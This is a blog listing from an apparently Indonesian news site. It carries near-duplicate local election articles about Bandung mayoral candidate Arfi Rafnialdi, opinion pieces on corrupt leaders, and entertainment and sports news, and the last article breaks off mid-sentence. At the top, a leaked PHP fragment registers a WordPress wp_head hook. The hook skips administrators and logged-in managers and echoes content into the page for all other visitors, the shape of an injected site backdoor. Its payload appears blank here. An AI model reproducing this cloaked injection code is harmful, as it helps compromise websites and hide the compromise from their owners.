Blog
?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);-
Arfi-Yena Fokus Tingkatkan Fasilitas Pendidikan dan Kesehatan
BANDUNG, VISTA NUSANTARA — Ratusan emak-emak di Babakan Irigasi, Blok Banjir, Kecamatan Bojongloa Kaler, menyambut kedatangan calon Wali Kota Bandung, Arfi Rafnialdi, dengan satu harapan sederhana: penyediaan air bersih dan penanganan banjir yang kerap melanda kawasan mereka saat hujan.“Pak Wali, kami mah tak minta apa-apa, hanya minta disediakan air bersih dan tidak banjir kalau hujan,” ujar para emak-emak kompak saat bertemu Arfi . Meskipun Arfi baru mencalonkan diri sebagai Wali Kota, banyak warga mengira bahwa ia sudah menjabat sebagai wali kota.Selain masalah banjir, kekhawatiran juga muncul terkait keberadaan tower yang berdiri di tengah pemukiman. Beberapa warga khawatir tower tersebut dapat membahayakan, terutama saat banjir, karena potensi tersengat listrik atau bahkan robohnya tower tersebut.Menanggapi keluhan warga, Arfi yang berpasangan dengan Yena Iskandar Ma’soem berjanji akan segera mencari solusi atas masalah-masalah ini. Ia bahkan telah membawa ahli tata ruang dari Institut Teknologi Bandung (ITB) untuk meninjau kondisi tata air dan permasalahan banjir di wilayah tersebut. Arfi juga terlihat menyusuri lorong-lorong dan sungai guna mencari penyebab banjir.“Solusi yang tepat adalah membangun danau di bagian hulu agar air bisa ditampung sebelum mengalir ke hilir,” ujar Arfi. Sebagai bagian dari program “40 Jam Bersama Warga”, Arfi memutuskan untuk menginap di Babakan Irigasi, sementara Yena juga turut hadir dan berinteraksi dengan warga.Dalam kunjungannya, pasangan calon ini juga diminta menandatangani kontrak politik oleh warga RW 7 Kelurahan Babakan Tarogong. Kontrak ini berisi lima poin penting, salah satunya adalah penyesuaian insentif bagi ketua RT dan ketua RW. Insentif yang saat ini Rp 300 ribu untuk ketua RT dan Rp 500 ribu untuk ketua RW akan ditingkatkan menjadi Rp 750 ribu dan Rp 1 juta per bulan.Ujang Supriyadi, Ketua RW 7, menyambut baik komitmen ini. “Kami berharap insentif bisa segera disesuaikan, mengingat saat ini insentif yang diterima harus dibagi antara ketua, sekretaris, dan bendahara,” ujarnya setelah menandatangani kontrak politik bersama Arfi dan Yena.Tak hanya itu, penguatan peran PKK dan Posyandu dengan dukungan anggaran pelatihan juga menjadi salah satu poin dalam kontrak politik ini. Ujang menyebutkan, anggaran operasional untuk PKK dan Posyandu selama ini masih sangat minim, padahal kegiatan mereka sangat penting bagi masyarakat.Di akhir pertemuan, Ujang dan warga lainnya menitipkan harapan besar kepada pasangan Arfi-Yena terkait pendidikan dan kesehatan. Mereka menyampaikan bahwa jumlah sekolah dan puskesmas di Kelurahan Babakan Tarogong masih sangat minim, dan berharap ada peningkatan fasilitas di masa depan.*** -
Arfi Rafnialdi Janjikan Solusi Banjir di Babakan Irigasi
BANDUNG, VISTA NUSANTARA — Ratusan emak-emak di Babakan Irigasi, Blok Banjir, Kecamatan Bojongloa Kaler, menyambut kedatangan calon Wali Kota Bandung, Arfi Rafnialdi, dengan satu harapan sederhana: penyediaan air bersih dan penanganan banjir yang kerap melanda kawasan mereka saat hujan.“Pak Wali, kami mah tak minta apa-apa, hanya minta disediakan air bersih dan tidak banjir kalau hujan,” ujar para emak-emak kompak saat bertemu Arfi . Meskipun Arfi baru mencalonkan diri sebagai Wali Kota, banyak warga mengira bahwa ia sudah menjabat sebagai wali kota.
Selain menghadapi masalah banjir, warga juga mengkhawatirkan keberadaan tower yang berdiri di tengah pemukiman, yang dinilai berpotensi membahayakan, terutama saat banjir. Mereka takut akan risiko tersengat listrik atau kemungkinan tower roboh akibat tanah yang menjadi tidak stabil. Kekhawatiran ini semakin menambah beban psikologis warga yang sudah cemas akan ancaman banjir, sehingga mereka merasa harus menghadapi potensi bahaya tambahan dari infrastruktur yang ada di sekitar tempat tinggal mereka. Kondisi ini menuntut perhatian serius dari para calon pemimpin untuk segera memberikan solusi konkret, guna memastikan keselamatan dan kenyamanan warga. Tindakan nyata seperti peninjauan struktur tower dan perbaikan sistem tata air di sekitar kawasan menjadi sangat penting untuk mengurangi risiko serta memberikan rasa aman bagi warga.
Menanggapi keluhan warga, Arfi Rafnialdi, bersama pasangannya Yena Iskandar Ma’soem, berkomitmen untuk segera mencari solusi atas permasalahan banjir dan kekhawatiran warga terkait infrastruktur berisiko. Arfi telah melibatkan ahli tata ruang dari Institut Teknologi Bandung (ITB) untuk meninjau kondisi tata air di wilayah tersebut guna mencari akar penyebab banjir. Selain itu, Arfi turun langsung ke lapangan, menyusuri lorong-lorong dan sungai untuk memahami secara menyeluruh penyebab banjir dan menemukan langkah-langkah konkret yang dapat diambil untuk mengatasinya.
Keterlibatan langsung ini menunjukkan keseriusan pasangan calon dalam menangani persoalan yang dihadapi masyarakat, memberi harapan baru bagi warga untuk perbaikan kondisi lingkungan. Selain itu, upaya ini menegaskan komitmen Arfi-Yena untuk menciptakan solusi yang berkelanjutan demi kesejahteraan dan keselamatan warga di masa depan.
“Solusi yang tepat adalah membangun danau di bagian hulu agar air bisa ditampung sebelum mengalir ke hilir,” ujar Arfi. Sebagai bagian dari program “40 Jam Bersama Warga”, Arfi memutuskan untuk menginap di Babakan Irigasi, sementara Yena juga turut hadir dan berinteraksi dengan warga.
Dalam kunjungannya, pasangan calon Arfi Rafnialdi dan Yena Iskandar Ma’soem diminta oleh warga RW 7 Kelurahan Babakan Tarogong untuk menandatangani kontrak politik. Kontrak ini mencakup lima poin penting, salah satunya adalah penyesuaian insentif bagi ketua RT dan ketua RW. Insentif yang saat ini sebesar Rp 300 ribu untuk ketua RT dan Rp 500 ribu untuk ketua RW akan dinaikkan menjadi Rp 750 ribu dan Rp 1 juta per bulan jika pasangan ini terpilih. Kesepakatan ini mencerminkan komitmen Arfi-Yena untuk meningkatkan kesejahteraan para pengurus RT dan RW, yang memainkan peran vital dalam pelayanan masyarakat. Pengakuan ini menegaskan pentingnya kontribusi mereka dalam menjaga ketertiban dan kualitas hidup di lingkungan masing-masing.
Ujang Supriyadi, Ketua RW 7, menyambut baik komitmen ini. “Kami berharap insentif bisa segera disesuaikan, mengingat saat ini insentif yang diterima harus dibagi antara ketua, sekretaris, dan bendahara,” ujarnya setelah menandatangani kontrak politik bersama Arfi dan Yena.
Selain itu, penguatan peran PKK dan Posyandu dengan dukungan anggaran pelatihan juga menjadi salah satu poin utama dalam kontrak politik tersebut. Ujang, salah satu warga, menyoroti bahwa anggaran operasional untuk PKK dan Posyandu selama ini masih sangat minim, padahal kegiatan mereka sangat penting bagi masyarakat, terutama dalam bidang kesehatan ibu dan anak serta pemberdayaan perempuan. Dengan adanya dukungan anggaran yang lebih memadai, diharapkan kedua lembaga ini dapat berfungsi lebih optimal dan memberikan kontribusi yang lebih besar terhadap kesejahteraan warga. Peningkatan anggaran ini diharapkan tidak hanya memperkuat kapasitas operasional, tetapi juga memperluas program-program yang mendukung kesehatan dan pemberdayaan masyarakat secara keseluruhan, sehingga dapat memberikan dampak positif yang nyata bagi kehidupan sehari-hari warga di Kelurahan Babakan Tarogong.
Di akhir pertemuan, Ujang dan warga lainnya menyampaikan harapan besar kepada pasangan Arfi Rafnialdi dan Yena Iskandar Ma’soem terkait peningkatan sektor pendidikan dan kesehatan. Mereka menekankan bahwa jumlah sekolah dan puskesmas di Kelurahan Babakan Tarogong masih sangat terbatas, sehingga banyak warga kesulitan mengakses layanan dasar ini. Warga berharap, jika terpilih, pasangan Arfi-Yena akan memperhatikan kebutuhan tersebut dan berkomitmen untuk meningkatkan fasilitas pendidikan dan kesehatan. Dengan peningkatan ini, warga berharap kesejahteraan masyarakat dapat lebih terjamin, serta akses terhadap pendidikan dan layanan kesehatan menjadi lebih mudah dijangkau oleh semua kalangan.***
-
Arfi Rafnialdi Siapkan Rencana Air Bersih untuk Babakan Irigasi
BANDUNG, VISTA NUSANTARA — Ratusan emak-emak di Babakan Irigasi, Blok Banjir, Kecamatan Bojongloa Kaler, menyambut kedatangan calon Wali Kota Bandung, Arfi Rafnialdi, dengan satu harapan sederhana: penyediaan air bersih dan penanganan banjir yang kerap melanda kawasan mereka saat hujan.“Pak Wali, kami mah tak minta apa-apa, hanya minta disediakan air bersih dan tidak banjir kalau hujan,” ujar para emak-emak kompak saat bertemu Arfi . Meskipun Arfi baru mencalonkan diri sebagai Wali Kota, banyak warga mengira bahwa ia sudah menjabat sebagai wali kota.Selain masalah banjir, warga juga mengkhawatirkan keberadaan tower yang berdiri di tengah pemukiman. Mereka merasa tower tersebut dapat membahayakan, terutama saat banjir, karena ada risiko tersengat listrik atau kemungkinan tower roboh akibat tanah yang menjadi tidak stabil. Kekhawatiran ini semakin menambah beban psikologis warga, yang tidak hanya harus menghadapi ancaman banjir tetapi juga potensi bahaya dari infrastruktur di sekitar tempat tinggal mereka. Rasa cemas ini menciptakan kebutuhan mendesak akan perhatian dan solusi dari para calon pemimpin untuk memastikan keselamatan dan kenyamanan lingkungan tinggal mereka. Oleh karena itu, penting bagi calon pemimpin untuk merespons kekhawatiran ini dengan tindakan konkret yang dapat mengurangi risiko dan meningkatkan rasa aman bagi warga.Menanggapi keluhan warga, Arfi Rafnialdi, yang berpasangan dengan Yena Iskandar Ma’soem, berkomitmen untuk segera mencari solusi atas permasalahan ini. Arfi telah melibatkan ahli tata ruang dari Institut Teknologi Bandung (ITB) untuk meninjau kondisi tata air dan mencari akar permasalahan banjir di wilayah tersebut. Selain itu, Arfi juga turun langsung ke lapangan, menyusuri lorong-lorong dan sungai guna memahami lebih mendalam penyebab banjir serta mencari langkah-langkah konkret untuk mengatasinya. Keterlibatan langsung ini menunjukkan keseriusan pasangan calon dalam menangani isu-isu yang dihadapi masyarakat, memberikan harapan baru bagi warga untuk perbaikan kondisi lingkungan di sekitar mereka, dan menegaskan komitmen mereka untuk menciptakan solusi yang berkelanjutan.“Solusi yang tepat adalah membangun danau di bagian hulu agar air bisa ditampung sebelum mengalir ke hilir,” ujar Arfi. Sebagai bagian dari program “40 Jam Bersama Warga”, Arfi memutuskan untuk menginap di Babakan Irigasi, sementara Yena juga turut hadir dan berinteraksi dengan warga.Dalam kunjungannya, pasangan calon Arfi Rafnialdi dan Yena Iskandar Ma’soem diminta oleh warga RW 7 Kelurahan Babakan Tarogong untuk menandatangani kontrak politik. Kontrak ini mencakup lima poin penting, di antaranya penyesuaian insentif bagi ketua RT dan ketua RW. Insentif yang saat ini sebesar Rp 300 ribu untuk ketua RT dan Rp 500 ribu untuk ketua RW akan dinaikkan menjadi Rp 750 ribu dan Rp 1 juta per bulan jika pasangan calon ini terpilih. Kesepakatan ini mencerminkan komitmen pasangan calon untuk memperhatikan kesejahteraan pengurus tingkat RT dan RW yang berperan penting dalam pelayanan masyarakat, serta mengakui kontribusi mereka dalam meningkatkan kualitas hidup di lingkungan masing-masing.Ujang Supriyadi, Ketua RW 7, menyambut baik komitmen ini. “Kami berharap insentif bisa segera disesuaikan, mengingat saat ini insentif yang diterima harus dibagi antara ketua, sekretaris, dan bendahara,” ujarnya setelah menandatangani kontrak politik bersama Arfi dan Yena.Selain itu, penguatan peran PKK dan Posyandu dengan dukungan anggaran pelatihan juga menjadi salah satu poin utama dalam kontrak politik tersebut. Ujang, salah satu warga, menyoroti bahwa anggaran operasional untuk PKK dan Posyandu selama ini masih sangat minim, padahal kegiatan mereka sangat penting bagi masyarakat, terutama dalam bidang kesehatan ibu dan anak serta pemberdayaan perempuan. Dengan adanya dukungan anggaran yang lebih memadai, diharapkan kedua lembaga ini dapat berfungsi lebih optimal dan memberikan kontribusi yang lebih besar terhadap kesejahteraan warga. Peningkatan anggaran ini diharapkan tidak hanya meningkatkan kapasitas operasional, tetapi juga memperkuat program-program yang mendukung kesehatan dan pemberdayaan masyarakat secara keseluruhan, sehingga dapat memberikan dampak positif yang nyata bagi kehidupan sehari-hari warga di Kelurahan Babakan Tarogong.Di akhir pertemuan, Ujang dan warga lainnya menyampaikan harapan besar kepada pasangan Arfi Rafnialdi dan Yena Iskandar Ma’soem terkait peningkatan sektor pendidikan dan kesehatan. Mereka menekankan bahwa jumlah sekolah dan puskesmas di Kelurahan Babakan Tarogong masih sangat terbatas, yang menyebabkan banyak warga kesulitan mengakses layanan dasar ini. Warga berharap, jika terpilih, pasangan Arfi-Yena akan memperhatikan kebutuhan tersebut dan berkomitmen untuk meningkatkan fasilitas pendidikan dan kesehatan. Dengan demikian, diharapkan kesejahteraan warga dapat terjamin dan akses terhadap pendidikan serta layanan kesehatan dapat lebih mudah dijangkau oleh semua lapisan masyarakat.*** -
Korupsi di Masa Lalu, Warga Bandung Harus Waspada dalam Memilih Pemimpin
BANDUNG, VISTA NUSANTARA — Pemilihan kepala daerah secara serentak akan dilaksanakan pada November 2024. Waktu yang tersisa tidak lama untuk mempersiapkan pesta demokrasi di berbagai daerah.Para calon yang akan berlaga dalam Pemilihan Wali Kota Bandung tampak semakin serius mempersiapkan diri, dengan nama-nama yang mulai ramai diperbincangkan. Baliho, poster, dan berbagai atribut kampanye bertajuk “cek ombak” kini menghiasi sudut-sudut kota, menandakan dimulainya persaingan ketat menuju kursi kepemimpinan Kota Bandung. Kehadiran alat peraga ini menjadi tanda bahwa para calon pemimpin berupaya menarik perhatian warga melalui pesan dan visi mereka, mempersiapkan panggung bagi kontestasi politik yang semakin dinamis dan kompetitif.Menarik untuk dinantikan. Apa gagasan yang hendak mereka bawa dan gaungkan di Bandung?Sebagai warga, kita perlu lebih kritis dalam menilai setiap tawaran yang disampaikan oleh para calon pemimpin. Bandung, yang kita cintai, telah lama dikenal sebagai kota kreatif dengan beragam sektor unggulan seperti fesyen, pendidikan, kuliner, pariwisata, dan komunitas anak muda yang inovatif. Oleh karena itu, sangat penting bagi kita untuk memilih calon pemimpin yang tidak hanya memahami karakteristik unik kota ini, tetapi juga mampu menghadirkan solusi konkret yang relevan dengan tantangan dan potensi yang ada. Dengan kepemimpinan yang tepat, Bandung dapat terus berkembang dan memenuhi aspirasi serta harapan warganya.Meskipun Bandung sering dilabeli sebagai kota kreatif, fesyen, dan kuliner, penting bagi kita untuk mempertanyakan apakah semua “branding” tersebut benar-benar dirasakan oleh warganya dalam kehidupan sehari-hari. Apakah kemajuan yang dipromosikan ini sudah memberikan dampak nyata pada kesejahteraan masyarakat, ataukah hanya sekadar citra tanpa perbaikan signifikan pada masalah-masalah mendasar? Tantangan seperti kemacetan, banjir, akses terhadap air bersih, dan pelayanan kesehatan yang layak masih menjadi persoalan yang perlu diatasi. Sebagai warga, kita harus memastikan bahwa kemajuan yang digembar-gemborkan juga mencakup penyelesaian masalah-masalah ini, agar Bandung tidak hanya terlihat maju dari luar, tetapi juga mampu meningkatkan kualitas hidup semua warganya.Di balik kesan romantis yang sering disematkan pada Bandung, kota ini menghadapi berbagai masalah serius yang mendesak untuk segera diatasi. Transportasi publik yang belum memadai, maraknya premanisme, serta pungutan liar seperti tarif parkir ilegal yang tinggi, menjadi beberapa tantangan yang dihadapi warga. Selain itu, ekonomi kreatif yang belum dikelola secara optimal juga menjadi sorotan. Masalah-masalah ini menuntut perhatian serius dari calon pemimpin yang berkomitmen untuk menghadirkan solusi nyata, bukan sekadar janji kosong. Masyarakat membutuhkan pemimpin yang siap bekerja keras untuk memperbaiki kondisi kota dan memberikan perubahan yang berarti, demi kesejahteraan dan kualitas hidup yang lebih baik bagi semua warga Bandung.Dengan banyaknya masalah yang dihadapi, Bandung memerlukan pemimpin yang memiliki visi yang jelas, ide-ide brilian, keberanian, kreativitas, dan orientasi pada tindakan. Transformasi kota harus dipimpin oleh sosok yang luar biasa, bukan sekadar menjalankan tugas politik semata.Kota Bandung mempunyai pengalaman pemimpin yang koruptif. Dan dampaknya sangat terasa pada bagaimana kota dijalankan. Awut-awutan. Serampangan. Tidak responsif. Banyak masalah publik yang dibiarkan.Beberapa waktu yang lalu, Bandung menghadapi berbagai masalah yang berulang, seperti jalan berlubang dan lampu jalan yang mati, yang seharusnya bisa diatasi dengan cara yang efektif, namun tidak mendapat respons. Akibatnya, pemimpin kita ditangkap dan harus mengenakan rompi oranye.Pengalaman memiliki pemimpin yang korup membuat kita perlu lebih kritis dan analitis dalam menilai calon wali kota Bandung. Kita harus memperhatikan partai mereka, karya-karya di masa lalu, bentuk kepedulian mereka terhadap Bandung sebelum mencalonkan diri, serta apa saja tawaran gagasan mereka untuk masa depan kota ini.*** -
Bandung Butuh Pemimpin Berani dan Kreatif, Siapakah Mereka?
BANDUNG, VISTA NUSANTARA — Pemilihan kepala daerah secara serentak akan dilaksanakan pada November 2024. Waktu yang tersisa tidak lama untuk mempersiapkan pesta demokrasi di berbagai daerah.Para calon yang akan berlaga dalam Pemilihan Wali Kota Bandung tampak semakin serius mempersiapkan diri, dengan nama-nama yang mulai ramai diperbincangkan. Baliho, poster, dan berbagai atribut kampanye bertajuk “cek ombak” kini menghiasi sudut-sudut kota, menandakan dimulainya persaingan ketat menuju kursi kepemimpinan Kota Bandung. Kehadiran alat peraga ini menjadi tanda bahwa para calon pemimpin berupaya menarik perhatian warga melalui pesan dan visi mereka, mempersiapkan panggung bagi kontestasi politik yang semakin dinamis dan kompetitif.Menarik untuk dinantikan. Apa gagasan yang hendak mereka bawa dan gaungkan di Bandung?Sebagai warga, kita perlu lebih kritis dalam menilai setiap tawaran yang disampaikan oleh para calon pemimpin. Bandung, yang kita cintai, telah lama dikenal sebagai kota kreatif dengan beragam sektor unggulan seperti fesyen, pendidikan, kuliner, pariwisata, dan komunitas anak muda yang inovatif. Oleh karena itu, sangat penting bagi kita untuk memilih calon pemimpin yang tidak hanya memahami karakteristik unik kota ini, tetapi juga mampu menghadirkan solusi konkret yang relevan dengan tantangan dan potensi yang ada. Dengan kepemimpinan yang tepat, Bandung dapat terus berkembang dan memenuhi aspirasi serta harapan warganya.Meskipun Bandung sering dilabeli sebagai kota kreatif, fesyen, dan kuliner, penting bagi kita untuk mempertanyakan apakah semua “branding” tersebut benar-benar dirasakan oleh warganya dalam kehidupan sehari-hari. Apakah kemajuan yang dipromosikan ini sudah memberikan dampak nyata pada kesejahteraan masyarakat, ataukah hanya sekadar citra tanpa perbaikan signifikan pada masalah-masalah mendasar? Tantangan seperti kemacetan, banjir, akses terhadap air bersih, dan pelayanan kesehatan yang layak masih menjadi persoalan yang perlu diatasi. Sebagai warga, kita harus memastikan bahwa kemajuan yang digembar-gemborkan juga mencakup penyelesaian masalah-masalah ini, agar Bandung tidak hanya terlihat maju dari luar, tetapi juga mampu meningkatkan kualitas hidup semua warganya.Di balik kesan romantis yang sering disematkan pada Bandung, kota ini menghadapi berbagai masalah serius yang mendesak untuk segera diatasi. Transportasi publik yang belum memadai, maraknya premanisme, serta pungutan liar seperti tarif parkir ilegal yang tinggi, menjadi beberapa tantangan yang dihadapi warga. Selain itu, ekonomi kreatif yang belum dikelola secara optimal juga menjadi sorotan. Masalah-masalah ini menuntut perhatian serius dari calon pemimpin yang berkomitmen untuk menghadirkan solusi nyata, bukan sekadar janji kosong. Masyarakat membutuhkan pemimpin yang siap bekerja keras untuk memperbaiki kondisi kota dan memberikan perubahan yang berarti, demi kesejahteraan dan kualitas hidup yang lebih baik bagi semua warga Bandung.Dengan banyaknya masalah yang dihadapi, Bandung memerlukan pemimpin yang memiliki visi yang jelas, ide-ide brilian, keberanian, kreativitas, dan orientasi pada tindakan. Transformasi kota harus dipimpin oleh sosok yang luar biasa, bukan sekadar menjalankan tugas politik semata.Kota Bandung mempunyai pengalaman pemimpin yang koruptif. Dan dampaknya sangat terasa pada bagaimana kota dijalankan. Awut-awutan. Serampangan. Tidak responsif. Banyak masalah publik yang dibiarkan.Beberapa waktu yang lalu, Bandung menghadapi berbagai masalah yang berulang, seperti jalan berlubang dan lampu jalan yang mati, yang seharusnya bisa diatasi dengan cara yang efektif, namun tidak mendapat respons. Akibatnya, pemimpin kita ditangkap dan harus mengenakan rompi oranye.Pengalaman memiliki pemimpin yang korup membuat kita perlu lebih kritis dan analitis dalam menilai calon wali kota Bandung. Kita harus memperhatikan partai mereka, karya-karya di masa lalu, bentuk kepedulian mereka terhadap Bandung sebelum mencalonkan diri, serta apa saja tawaran gagasan mereka untuk masa depan kota ini.*** -
Atlet Berkuda Papan Atas Bersaing Ketat di KHI Jogja Istimewa 2024
VISTA NUSANTARA — Sebanyak 180 ekor kuda dari 30 tim atau stable meramaikan kejuaraan KHI Jogja Istimewa 2024, yang berlangsung di Kawedan Bangun Kerto Turi Sleman, Daerah Istimewa Yogyakarta, 16 sampai 20 Oktober silam.Kejuaraan ini melombakan kategori dressage (tunggang serasi) dan show jumping (lompat rintangan), dengan total hampir 900 peserta yang berpartisipasi.“Alhamdulillah kejuaraan berjalan lancar, para atlet dan kuda-kuda juga selamat hingga akhir pertandingan, dan yang terpenting semua yang ikut di kejuaraan ini bisa menikmatinya.” kata President of Event KHI Jogja Istimewa 2024 Sapta Nugraha seperti dikutip dari keterangan tertulis yang diterima pewarta di Jakarta, Senin.Selain dihadiri para peserta dari wilayah Jawa Tengah, Jawa Timur dan Yogyakarta sebagai tuan rumah, kejuaraan kali ini juga diikuti oleh tim-tim dan atlet-atlet berkuda papan atas Indonesia dari DKI Jakarta dan Jawa Barat yang merupakan kiblat olahraga berkuda equestrian di tanah air.“Saya berharap agar atlet-atlet dari daerah bisa menyerap ilmu dan pengetahuan tentang berkuda dari para atlet berkuda profesional yang hadir di kejuaraan ini sekaligus bisa berkompetisi dengan mereka tanpa perlu jauh-jauh datang baik ke Jakarta atau Jawa Barat, karena kesempatan ini tentu jarang sekali terjadi dimana para Atlet berkuda profesional bisa berkumpul dalam satu kejuaraan berkuda di tingkat daerah.” lanjut Sapta.Pada kejuaraan tersebut, hadiah utama berupa satu unit Honda Brio berhasil direbut oleh Yanyan Hadiansyah dan kuda DSP Toscana yang mewakili Almor Stable dari kelas pertandingan paling bergengsi yakni SJ 115 Cm Open.Sebelum berhasil membawa pulang hadiah utama tersebut, Yanyan harus bersaing ketat dengan 21 peserta lainnya yang merupakan para atlet berkuda papan atas nasional dengan kuda-kuda yang memiliki kemampuan mumpuni melalui dua babak pertandingan ditambah satu babak Jump Off yang digelar dalam dua hari.Hasil akhir pertandingan Yanyan dan kuda DSP Toscana unggul dengan meraih hasil Clear Round di ketiga babak tersebut dengan catatan waktu tercepat di babak Jump Off 41,03 detik diikuti oleh Arserl Rizki Brayudha (Aragon Equestrian Sport), Agung Riyanto (TKM ART Team), dan Riko Ganda Febryanto (Denkavkud Aragon Equestrian Sport).*** -
Setelah 10 Bulan, Fatin Shidqia Kembali dengan Single Terbaru ‘Kita Sama-Sama Tau’
VISTA NUSANTARA — Fatin Shidqia, atau yang akrab disapa Fatin, tentunya bukanlah nama baru di dunia musik Indonesia. Berkat kemenangannya dalam salah satu ajang pencarian bakat, karier bernyanyi solois kelahiran 30 Juli 1996 ini terbentang luas. Kini, berselang setahun setelah single sebelumnya, “Jangan Tersesat, Sayang”, Fatin siap kembali menghibur penggemarnya melalui lagu terbaru yang ia buat bersama Clara Riva, “Kita Sama-Sama Tau”. “Ini kolaborasi pertama aku dengan Clara dalam menulis lagu dan aku bersyukur karena prosesnya berjalan dengan lancar. Jadi, aku yang dapat melodi reff-nya terlebih dulu, baru dibantu oleh Clara. Liriknya pun kami tulis berdua,” Fatin menjelaskan. Menariknya, melodi lagu ini didapat Fatin saat sedang mudik Lebaran tahun ini dan tidak ia sangka akhirnya menjadi satu lagu utuh yang siap diperdengarkan ke seluruh pencinta musik Indonesia.“Kita Sama-Sama Tau” sendiri masih mengangkat tema seputar cinta, yaitu tentang orang-orang yang tahu kalau ada benih-benih cinta yang tumbuh di antara mereka, namun karena beberapa faktor, akhirnya lebih memilih menunggu waktu yang tepat agar bisa bersama. Tentunya, kisah yang diangkat Fatin ini akan terasa dekat dengan banyak orang, terutama bagi mereka yang pernah ada di posisi tersebut. “Kalau diminta untuk menggambarkan lagu ini dengan satu kalimat, aku akan jawab “hubungan tanpa status”. Jadi, keduanya sudah sama-sama tahu kalau saling suka, tapi belum bisa bersatu. Semoga lagu ini bisa mewakili perasaan orang-orang yang sedang berada atau pernah mengalami situasi ini. Dan, semoga kesabaran menunggu kalian bisa membuahkan hasil yang terbaik.”Fatin menyebutkan bahwa single barunya ini menawarkan hal yang berbeda dari lagu-lagu sebelumnya, terutama dari segi lirik. “Di sini, aku mencoba menulis lirik lagu yang to the point sehingga siapa pun yang mendengar akan langsung menangkap makna dan pesan yang ingin aku sampaikan melalui “Kita Sama-Sama Tau”. Sejujurnya, penulisan lirik yang gamblang banget ini ternyata tidak mudah. Ini justru menjadi tantangan bagiku yang awalnya ragu di awal-awal menulis. Tapi, berkat dukungan dan bantuan dari Clara, akhirnya aku bisa menulis lirik yang aku inginkan.”Jarak perilisan single “Jangan Tersesat, Sayang” dan “Kita Sama-Sama Tau” terhitung cukup jauh dan itu diakui Fatin sendiri. “Ya, jaraknya memang agak lama karena laguku sebelum ini rilis pada November 2023 dan aku baru menghadirkan single baru lagi di Oktober 2024. Itu karena aku butuh waktu lebih lama untuk mendapatkan ide dan menulis lagu itu. Namun, dengan jarak sepuluh bulan ini, termasuk proses pengerjaannya, mulai dari rekaman, mixing, hingga mastering, aku berharap lagu ini bisa mendapat respon positif dari para pendengarku. Dan, sekali lagi, orang-orang yang mendengar bisa merasa terhubung dengan lagu ini dan mendapatkan semangat di tengah-tengah situasi mereka yang sedang menunggu,” tutup Fatin. Single terbaru Fatin, “Kita Sama-Sama Tau”, bisa didengarkan di platform musik digital mulai 18 Oktober 2024.*** -
Pemimpin Tanpa Ambisi Materi, Mungkinkah di Era Sekarang?
BANDUNG, VISTA NUSANTARA — Mencari calon pemimpin yang ideal berarti menemukan seseorang yang siap mengabdi sepenuh hati dan mendedikasikan dirinya secara penuh untuk kepentingan rakyat. Pemimpin ini harus mampu mengutamakan kepentingan publik di atas kepentingan pribadi atau kelompoknya, serta menunjukkan ketulusan dan integritas dalam setiap langkah yang diambil. Sosok seperti ini tidak terobsesi pada materi, tetapi berpegang pada nilai-nilai spiritual yang kuat sebagai dasar dalam setiap pengambilan keputusan.Pemimpin yang ideal juga harus bebas dari praktik korupsi, kolusi, dan nepotisme, serta menjunjung tinggi transparansi dan kejujuran dalam pemerintahan. Selain itu, ia harus berani mengambil risiko demi kebaikan dan kesejahteraan rakyat, menunjukkan keberanian dan komitmen tinggi dalam menghadapi tantangan dan menyelesaikan berbagai permasalahan masyarakat.Di era sekarang, mencari pemimpin seperti itu memang ibarat mencari jarum di tumpukan jerami. Meskipun sulit, bukan berarti hal tersebut mustahil, karena sosok pemimpin berkarakter seperti itu masih ada. Namun, mereka sering kali belum muncul ke permukaan karena kurangnya dukungan dari partai politik, organisasi masyarakat, serta keterbatasan finansial untuk biaya demokrasi, yang jumlahnya tidak sedikit. Dukungan tersebut penting untuk memberikan kesempatan bagi calon pemimpin berintegritas agar bisa tampil dan bersaing secara adil dalam ranah politik.Meskipun begitu, kita harus tetap optimis dan percaya bahwa calon-calon pemimpin yang akan kita pilih nanti pada 27 November 2024 adalah orang-orang yang memiliki niat baik. Tugas kita adalah memilih yang terbaik di antara mereka agar tidak salah menentukan pilihan. Sebab, kesalahan dalam memilih pemimpin akan membawa konsekuensi yang harus kita tanggung sendiri di masa mendatang.Salah satu indikator calon pemimpin yang baik adalah pemimpin yang menjauhi perilaku-perilaku korup, karena perilaku korup bagi calon pemimpin biasanya akan dimulai ketika fase sang calon pemimpin sudah resmi dilantik menjadi pemimpin di suatu daerah. Lalu bagaimana dengan pejabat yang pernah melakukan tindak pidana korupsi ingin mnejabat kembali menjadi kepala daerah?Maka hal itu kita kembalikan lagi kepada diri kita dengan berfikiran jernih dan mengikuti langkah secara naluriah kita sebagai insan manusia.*** -
Mencari Jarum di Tumpukan Jerami, Pemimpin Bersih dan Berani
BANDUNG, VISTA NUSANTARA — Mencari calon pemimpin yang ideal berarti menemukan seseorang yang siap mengabdi sepenuh hati dan mendedikasikan dirinya secara penuh untuk kepentingan rakyat. Pemimpin ini harus mampu mengutamakan kepentingan publik di atas kepentingan pribadi atau kelompoknya, serta menunjukkan ketulusan dan integritas dalam setiap langkah yang diambil. Sosok seperti ini tidak terobsesi pada materi, tetapi berpegang pada nilai-nilai spiritual yang kuat sebagai dasar dalam setiap pengambilan keputusan.Pemimpin yang ideal juga harus bebas dari praktik korupsi, kolusi, dan nepotisme, serta menjunjung tinggi transparansi dan kejujuran dalam pemerintahan. Selain itu, ia harus berani mengambil risiko demi kebaikan dan kesejahteraan rakyat, menunjukkan keberanian dan komitmen tinggi dalam menghadapi tantangan dan menyelesaikan berbagai permasalahan masyarakat.Di era sekarang, mencari pemimpin seperti itu memang ibarat mencari jarum di tumpukan jerami. Meskipun sulit, bukan berarti hal tersebut mustahil, karena sosok pemimpin berkarakter seperti itu masih ada. Namun, mereka sering kali belum muncul ke permukaan karena kurangnya dukungan dari partai politik, organisasi masyarakat, serta keterbatasan finansial untuk biaya demokrasi, yang jumlahnya tidak sedikit. Dukungan tersebut penting untuk memberikan kesempatan bagi calon pemimpin berintegritas agar bisa tampil dan bersaing secara adil dalam ranah politik.Meskipun begitu, kita harus tetap optimis dan percaya bahwa calon-calon pemimpin yang akan kita pilih nanti pada 27 November 2024 adalah orang-orang yang memiliki niat baik. Tugas kita adalah memilih yang terbaik di antara mereka agar tidak salah menentukan pilihan. Sebab, kesalahan dalam memilih pemimpin akan membawa konsekuensi yang harus kita tanggung sendiri di masa mendatang.Salah satu indikator calon pemimpin yang baik adalah pemimpin yang menjauhi perilaku-perilaku korup, karena perilaku korup bagi calon pemimpin 